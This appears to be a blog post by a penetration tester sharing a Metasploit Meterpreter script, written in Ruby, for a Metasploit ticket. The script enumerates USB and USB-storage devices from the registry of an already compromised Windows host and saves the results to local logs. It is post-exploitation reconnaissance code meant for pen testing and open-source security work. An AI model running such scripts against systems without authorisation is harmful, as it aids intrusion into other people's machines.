Last week I was looking around the Metasploit ticket system looking for something that I could do to contribute back to the community that has made pen testing so easy for everyone. I found ticket 700. A simple meterpeter script to enumerate USB device information on the remote computer. I based it off the winenum.rb script from Carlos Perez, so its very similar to that script. I am sure this script could be cleaned up some to be shorter but I only spent about an hour on it. Questions? Comments? Post em up...
#Meterpreter script for basic USB device enumeration
#Based on the winenum.rb script by Carlos Perez
#Provided by Jacob Hammack at jacob.hammack[at]hammackj.com
#Version: 0.0.1
@client = client
opts = Rex :: Parser :: Arguments . new (
"-h" => [ false , "Help menu." ] ,
"-a" => [ false , "Enumerate all connected usb devices" ] ,
"-s" => [ false , "Enumerate all connected usb storage devices" ]
)
allUsb = false
usbStor = false
opts . parse ( args ) { | opt , idx , val |
case opt
when "-a"
allUsb = true
when "-s"
usbStor = true
when "-h"
print_line "USBEnum -- Enumerates all USB devices"
print_line
print_line "Retrieves information about the usb devices that have been connected"
print_line "to the system. Results are stored in #{ :: File . join ( Msf :: Config . log_directory , 'usbenum' ) } "
print_line ( opts . usage )
raise Rex :: Script :: Completed
end
}
host , port = @client . tunnel_peer . split ( ':' )
info = @client . sys . config . sysinfo
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + :: Time . now . strftime ( "%Y%m%d.%M%S" ) + "-" + sprintf ( "%.5d" , rand ( 100000 ))
# Create a directory for the logs
logs = :: File . join ( Msf :: Config . log_directory , 'usbenum' , info [ 'Computer' ] + filenameinfo )
# Create the log directory
:: FileUtils . mkdir_p ( logs )
#logfile name
dest = logs + "/" + info [ 'Computer' ] + filenameinfo + ".txt"
#Enumerates a registry key and returns
#Jacked from the winenum.rb script by carlos perez
def reg_enumkeys ( key )
subkeys = []
begin
root_key , base_key = @client . sys . registry . splitkey ( key )
open_key = @client . sys . registry . open_key ( root_key , base_key , KEY_READ )
keys = open_key . enum_key
keys . each { | subkey |
subkeys << subkey
}
open_key . close
rescue :: Exception => e
return nil
end
return subkeys
end
#Gets a reg key value
#Jacked from the winenum.rb script by carlos perez
def reg_getvaldata ( key , valname )
value = nil
begin
root_key , base_key = @client . sys . registry . splitkey ( key )
open_key = @client . sys . registry . open_key ( root_key , base_key , KEY_READ )
v = open_key . query_value ( valname )
value = v . data
open_key . close
rescue :: Exception => e
return nil
end
return value
end
#writes out data to file
#Jacked from the winenum.rb script by carlos perez
def filewrt ( file2wrt , data2wrt )
output = :: File . open ( file2wrt , "a" )
data2wrt . each_line do | d |
output . puts ( d )
end
output . close
end
allUsbKey = "HKLM \\ System \\ CurrentControlSet \\ Enum \\ USB \\ "
usbStorKey = "HKLM \\ System \\ CurrentControlSet \\ Enum \\ USBStor \\ "
if allUsb == true or usbStor == true
print_status ( "Running Windows USB Enumerion Meterpreter Script" )
info = @client . sys . config . sysinfo
header = "Date: #{ :: Time . now . strftime ( "%Y-%m-%d.%H:%M:%S" ) } \n "
header << "Running as: #{ @client . sys . config . getuid } \n "
header << "Host: #{ info [ 'Computer' ] } \n "
header << "OS: #{ info [ 'OS' ] } \n "
header << " \n\n\n "
print_status ( "Saving report to #{ dest } " )
filewrt ( dest , header )
end
if allUsb == true
begin
subkeys = reg_enumkeys ( allUsbKey )
subkeys . each { | key |
devices = reg_enumkeys ( allUsbKey + key )
devices . each { | dev |
val = reg_getvaldata ( allUsbKey + key + " \\ " + dev + " \\ " , "HardwareID" )
hardwareid = "HardwareID:" + val unless val == nil
val = reg_getvaldata ( allUsbKey + key + " \\ " + dev + " \\ " , "Driver" )
driver = "Driver:" + val unless val == nil
val = reg_getvaldata ( allUsbKey + key + " \\ " + dev + " \\ " , "ClassGUID" )
classguid = "ClassGUID:" + val unless val == nil
val = reg_getvaldata ( allUsbKey + key + " \\ " + dev + " \\ " , "Mfg" )
mfg = "mfg:" + val unless val == nil
val = reg_getvaldata ( allUsbKey + key + " \\ " + dev + " \\ " , "DeviceDesc" )
devicedesc = "DeviceDesc:" + val unless val == nil
val = reg_getvaldata ( allUsbKey + key + " \\ " + dev + " \\ " , "LocationInformation" )
locationinformation = "LocationInformation:" + val unless val == nil
print_status hardwareid unless hardwareid == nil
print_status driver unless driver == nil
print_status classguid unless classguid == nil
print_status mfg unless mfg == nil
print_status devicedesc unless devicedesc == nil
print_status locationinformation unless locationinformation == nil
print_status ""
filewrt ( dest , hardwareid + " \n " ) unless hardwareid == nil
filewrt ( dest , driver + " \n " ) unless driver == nil
filewrt ( dest , classguid + " \n " ) unless classguid == nil
filewrt ( dest , mfg + " \n " ) unless mfg == nil
filewrt ( dest , devicedesc + " \n " ) unless devicedesc == nil
filewrt ( dest , locationinformation + " \n " ) unless locationinformation == nil
filewrt ( dest , " \n " )
}
}
rescue :: Exception => e
print_status ( "Unable to enumerate USB registry #{ e } " )
end
end
if usbStor == true
begin
subkeys = reg_enumkeys ( usbStorKey )
subkeys . each { | key |
devices = reg_enumkeys ( usbStorKey + key )
devices . each { | dev |
val = reg_getvaldata ( usbStorKey + key + " \\ " + dev + " \\ " , "HardwareID" )
hardwareid = "HardwareID:" + val unless val == nil
val = reg_getvaldata ( usbStorKey + key + " \\ " + dev + " \\ " , "Driver" )
driver = "Driver:" + val unless val == nil
val = reg_getvaldata ( usbStorKey + key + " \\ " + dev + " \\ " , "ClassGUID" )
classguid = "ClassGUID:" + val unless val == nil
val = reg_getvaldata ( usbStorKey + key + " \\ " + dev + " \\ " , "Mfg" )
mfg = "mfg:" + val unless val == nil
val = reg_getvaldata ( usbStorKey + key + " \\ " + dev + " \\ " , "DeviceDesc" )
devicedesc = "DeviceDesc:" + val unless val == nil
val = reg_getvaldata ( usbStorKey + key + " \\ " + dev + " \\ " , "FriendlyName" )
friendlyname = "FriendlyName:" + val unless val == nil
print_status hardwareid unless hardwareid == nil
print_status driver unless driver == nil
print_status classguid unless classguid == nil
print_status mfg unless mfg == nil
print_status devicedesc unless devicedesc == nil
print_status friendlyname unless friendlyname == nil
print_status ""
filewrt ( dest , hardwareid + " \n " ) unless hardwareid == nil
filewrt ( dest , driver + " \n " ) unless driver == nil
filewrt ( dest , classguid + " \n " ) unless classguid == nil
filewrt ( dest , mfg + " \n " ) unless mfg == nil
filewrt ( dest , devicedesc + " \n " ) unless devicedesc == nil
filewrt ( dest , friendlyname + " \n " ) unless friendlyname == nil
filewrt ( dest , " \n " )
}
}
rescue :: Exception => e
print_status ( "Unable to enumerate USB registry #{ e } " )
end
end